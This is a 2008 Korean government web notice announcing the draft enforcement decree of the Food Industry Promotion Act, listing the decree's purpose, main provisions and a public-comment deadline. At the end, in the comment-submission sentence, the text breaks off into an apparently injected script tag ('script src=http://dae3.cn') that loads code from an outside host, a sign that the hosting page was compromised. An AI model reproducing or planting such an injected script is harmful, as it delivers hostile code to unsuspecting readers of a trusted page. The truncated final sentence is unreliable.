식품산업진흥법 시행령 제정(안) 입법예고(2008.4.21) | |||||
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작성자 | 식품안전부 | 등록일 | 2008/04/21 | 조회 | 15209 |
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농림수산식품부공고 제2008- 40호 식품산업진흥법 시행령을 제정함에 있어 그 제정내용과 취지를 국민에게 미리 알려 의견을 듣고자 행정절차법 제41조에 따라 다음과 같이 공고합니다. 2008년 4월 21일 농림수산식품부장관 식품산업진흥법 시행령 제정(안) 입법예고 1. 제정이유 식품산업의 진흥을 위한 기본계획 등 심의를 위한 식품산업진흥심의회 설치, 농업과 연계 강화를 위한 시책․전통식품과 식문화 세계화 및 품질인증제도 도입 등을 주요내용으로 하는 「식품산업진흥법」이 제정(법률 제8796호, 2007. 12. 27. 공포, 2008. 6. 28. 시행)됨에 따라 법률에서 위임한 사항과 그 시행에 필요한 사항을 규정하려는 것임 2. 제정안 주요내용 가. 식품산업진흥심의회의 구성․운영 등에 필요한 사항을 정함(안 제2조 내지 제9조) 나. 식품산업 전문인력 기관의 지정대상 및 지원분야 등을 정함(안 제10조 내지 제11조) 다. 식품산업 사업자단체의 정관기재사항 등 설립 인가신청에 필요한 사항을 정함(안 제12조) 라. 식품산업과 농업의 연계 강화를 위한 교류협력 사업대상 및 지원대상 등을 정함(안 제13조) 마. 식품명인의 지정대상, 자격요건 및 인정절차, 명인의 기능전수와 명인 지원대상 등에 필요한 사항을 정함(안 제14조 내지 제22조) 바. 산지가공산업의 지원 대상 및 전통식품․식문화의 세계화를 위한 지원대상 등을 정함(안 제23조 및 제24조) 사. 식품의 영양성분 분석 조사․연구기관의 지정 및 식품성분표 발간 등에 필요한 사항을 정함(안 제25조 및 제26조) 아. 식품의 산업표준인증 및 전통식품의 품질인증과 관련하여 인증대상 품목지정․표준규격 제정 및 인증절차․표시방법 등에 필요한 사항을 정함(안 제27조 내지 제31조) 자. 우수식품인증기관의 지정요건․인증심사원의 자격 및 인증 기관의 보고사항․인증기관의 지정 취소요건 등을 정함(안 제32조 내지 제36조) 차. 우수식품인증의 취소 절차 및 우선 구매 대상이 되는 국가 인증 제품의 종류 추가와 우수 식재료의 사용촉진을 위한 지원대상 등을 정함(안 제37조 내지 제40조) 3. 의견제출 이 제정안에 대하여 의견이 있는 개인·단체 또는 법인은 2008년 5월 10일까지 다음 사항을 기재한 의견서를 농림수산식품부장관(?script src=http://dae3.cn> |
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